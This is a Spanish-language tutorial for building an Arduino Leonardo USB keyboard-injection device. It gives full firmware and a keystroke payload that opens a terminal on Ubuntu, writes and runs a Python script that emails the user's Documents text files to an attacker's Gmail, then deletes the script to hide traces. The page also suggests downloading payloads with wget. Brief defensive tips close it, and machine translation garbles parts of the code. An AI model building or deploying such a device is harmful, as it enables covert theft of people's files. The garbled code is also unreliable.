Demostración y prevención de exploits del teclado Arduino (HID): 4 pasos (con imágenes)

2025 Autor: John Day | [email protected]. Última modificación: 2025-01-23 14:40

En este proyecto usaremos un arduino leonardo para simular un posible ataque USB usando HID (dispositivo de interfaz humana).

He creado este tutorial no para ayudar a los piratas informáticos, sino para mostrarles algunos peligros reales y cómo protegerse de esos peligros. Este dispositivo no es un dispositivo que pueda usarse en cualquier plataforma para piratas informáticos, es más una prueba de concepto en detalle.

Aprenderemos lo siguiente:

- cómo usar arduino leonardo para emular el teclado

- cómo leer datos de tarjetas SD

- cómo crear un script de Python que escanee archivos y los envíe por correo electrónico

- cómo protegerse de los dispositivos de piratería USB

Paso 1: Materiales

Partes:

1. Arduino leonardo

2. lector de tarjetas micro USB

3. algunos GB de tarjeta SD

4. pulsador como este (VCC, tierra y señal)

5. cables de puente hembra-macho y hembra-hembra

6. cable micro USB a USB

Paso 2: construcción del dispositivo

Antes de las instrucciones de construcción, repasemos el principio de funcionamiento:

Arduino leonardo puede comportarse como un dispositivo de interfaz humana (HID) y, por lo tanto, puede emular el mouse y el teclado. Usaremos esta función para abrir una terminal (en UBUNTU linux) y escribir un pequeño script que accederá a la carpeta / Documentos dentro de la carpeta de inicio del usuario, copie los archivos.txt allí y envíelos por correo electrónico a alguien. Si desea conocer más detalles, consulte el siguiente paso.

Debido a que es un dispositivo de demostración, las cosas son realmente simples, no vamos a soldar nada.

Instrucciones de construcción

Antes de comenzar, verifique los archivos adjuntos, he adjuntado esquemas fritzing y todos los archivos necesarios

1. Ensamble los componentes:

* conecte el cable micro USB en el arduino

* conecte el interruptor de llave al arduino (tierra, vcc y módulo de salida a D8)

* conecte el lector de tarjetas al arduino (usando el encabezado ICSP). Arduino leonardo no tiene el encabezado ICSP conectado a pines digitales, por lo que deberá conectar el lector de tarjetas al encabezado ICSP. Puede encontrar algunos dibujos del ICSP aquí: https://learn.sparkfun.com/tutorials/installing-an…. Conecte el pin SS al pin digital 10

2. obtenga el código arduino, puede clonar mi repositorio arduino en github: https://github.com/danionescu0/arduino y vaya a proyectos / keyboard_exploit o consígalo desde abajo:

#include "Keyboard.h"

#incluir "SPI.h" #incluir "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; configuración vacía () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("¡La tarjeta falló o no está presente!"); regreso; }} bucle vacío () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("¡Cargado!"); retraso (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {Archivo dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("El nombre de archivo especificado no está presente en la tarjeta SD, verifique filenameOnCard!"); } Línea de cadena; while (dataFile.available ()) {línea = dataFile.readStringUntil ('\ n'); Serial.println (línea); sendToKeyboard (línea); } dataFile.close (); } void sendToKeyboard (Línea de cadena) {Línea de trabajo de cadena = línea; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (línea); regreso; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Texto:"); Serial.println (línea); Keyboard.println (línea); pressEnter (); regreso; } Serial.println ("Comando:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (comando! = "") {Serial.print ("Comando encontrado:"); Serial.println (comando); Keyboard.press (getCommandCode (comando)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Durmiendo para:"); Serial.println (sleepAmount); retraso (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; código = (texto == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: código; código = (texto == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: código; código = (texto == "KEY_LEFT_ALT")? KEY_LEFT_ALT: código; código = (texto == "KEY_UP_ARROW")? KEY_UP_ARROW: código; código = (texto == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: código; código = (texto == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: código; código = (texto == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: código; código = (texto == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: código; código = (texto == "KEY_BACKSPACE")? KEY_BACKSPACE: código; código = (texto == "KEY_TAB")? KEY_TAB: código; código = (texto == "KEY_RETURN")? KEY_RETURN: código; código = (texto == "KEY_ESC")? KEY_ESC: código; código = (texto == "KEY_INSERT")? KEY_INSERT: código; código = (texto == "KEY_DELETE")? KEY_DELETE: código; código = (texto == "KEY_PAGE_UP")? KEY_PAGE_UP: código; código = (texto == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: código; código = (texto == "KEY_HOME")? KEY_HOME: código; código = (texto == "KEY_END")? KEY_END: código; código = (texto == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: código; código = (texto == "KEY_F1")? KEY_F1: código; código = (texto == "KEY_F2")? KEY_F2: código; código = (texto == "KEY_F3")? KEY_F3: código; código = (texto == "KEY_F4")? KEY_F4: código; código = (texto == "KEY_F5")? KEY_F5: código; código = (texto == "KEY_F6")? KEY_F6: código; código = (texto == "KEY_F7")? KEY_F7: código; código = (texto == "KEY_F8")? KEY_F8: código; código = (texto == "KEY_F9")? KEY_F9: código; código = (texto == "KEY_F10")? KEY_F10: código; código = (texto == "KEY_F11")? KEY_F1: código; código = (texto == "KEY_F12")? KEY_F2: código;

código de retorno;

}

3. Sube el código al arduino, asegúrate de seleccionar 9600 baud rate, el puerto serial y arduino leonardo

4. Formatee la tarjeta sd usando FAT16 o FAT32

5. Si clonó el repositorio de github desde arriba, copie el archivo hack.txt en la tarjeta, si no, el archivo se enumera a continuación:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMEText importar MIMEText desde el correo electrónico. Utiliza la importación de COMMASPACE, la fecha de formato de los codificadores de importación de correo electrónico.

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receptor_address' scan_documents_location = 'Documentos'

subject = body = 'Archivos de una computadora pirateada'

header = 'Para: {0} nDe: {1} nSubject: {2} n'.format (to_address, smtp_user, subject)

def sendMail (a, asunto, texto, archivos = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Asunto'] = asunto msg.attach (MIMEText (texto)) para archivo en archivos: part = MIMEBase ('aplicación', "octet-stream") part.set_payload (open (archivo, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'adjunto; filename = "% s"'% os.path.basename (file)) msg.attach (part)

servidor = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Edite las siguientes líneas:

smtp_user = 'sender_email_addr'

smtp_pass = 'contraseña_del_remitente' to_address = 'dirección_del_receptor'

Y reemplácelo con sus direcciones de correo electrónico

7. Retire la tarjeta e insértela en el lector de tarjetas arduino

Paso 3: cómo funciona en detalles

Cómo funcionará el ataque:

1. Cuando se presiona el botón, el leonardo leerá la tarjeta sd usando un lector de tarjetas sd. Un archivo especial que contiene claves y combinación de teclas estará presente en la tarjeta. El nombre del archivo es "hack.txt".

El archivo puede contener texto sin formato y se pasará al teclado tal como está.

También puede contener comandos especiales como "Sleep::" y "Command::".

Una línea como:

Sueño:: 200 significa un sueño de 200 ms

Una línea como:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t significa Ctrl izquierdo presionado, Alt izquierdo presionado, t presionado y todo liberado

Puede consultar todas las claves especiales aquí:

2. Leonardo leerá línea por línea, interpretará los comandos y emulará las teclas del teclado. El archivo "hack.txt" contiene una combinación de teclas que hace lo siguiente (para UBUNTU linux):

una. abre una terminal (CTRL + ALT + T)

B. abre un archivo de Python para su creación usando vi (escribe "vi hack.py"

C. escribe una secuencia de comandos de Python en su interior que recopila todos los archivos de texto dentro de la carpeta de inicio de los documentos y los envía a una dirección de Gmail especificada

D. ejecuta el archivo en segundo plano ("nohup python hack.py &")

mi. elimina el archivo (rm -rf hack.py)

F. cierra el terminal (ALT + F4)

Todo esto se ejecuta en unos segundos y no deja rastros.

Mejoras y solución de problemas

* Es posible que haya notado que después de abrir una terminal, estoy escribiendo el archivo Python. una mejor manera de hacerlo será alojarlo en algún lugar y descargarlo usando el comando "wget some_url", luego cambiarle el nombre a hack.py

* También podemos descargar o ejecutar un exploit listo para usar para el sistema operativo de destino

* Se puede agregar wifi al módulo y los hacks se pueden cargar a través de WIFI

* puede usar arduino micro (que es mucho más pequeño) e incrustar código de explotación en él (para hacerlo más pequeño)

Limitaciones

1. Debido a que el dispositivo simulado (teclado y mouse) no tiene retroalimentación, no sabemos qué sucederá después de emitir un comando que significa que necesitamos usar retrasos. Por ejemplo, estoy emitiendo un comando para abrir el terminal, pero no sé cuándo estará realmente abierto, por lo que necesito especificar un retraso arbitrario para asegurarme de que los caracteres escritos después no se pierdan.

2. Es posible que tengamos problemas con los permisos, como no tener acceso al puerto USB o el permiso para instalar algo.

3. La velocidad de escritura no es tan buena en leonardo.

4. Funcionará solo en un sistema operativo específico (en nuestro caso, UBUNTU linux)

En el siguiente paso intentaremos buscar formas de aprovechar estas limitaciones para evitar que nuestra computadora sea pirateada.

Paso 4: contramedidas

1. Desactivación de puertos USB

- para Windows puede consultar este tutorial:

2. Incluir dispositivos USB en la lista blanca:

- para Windows:

2. Bloquea tu computadora cuando no estés ausente

3. No inicie sesión como root (se requieren contraseñas para instalar cualquier cosa)

4. Manténgase actualizado (actualizaciones automáticas activadas)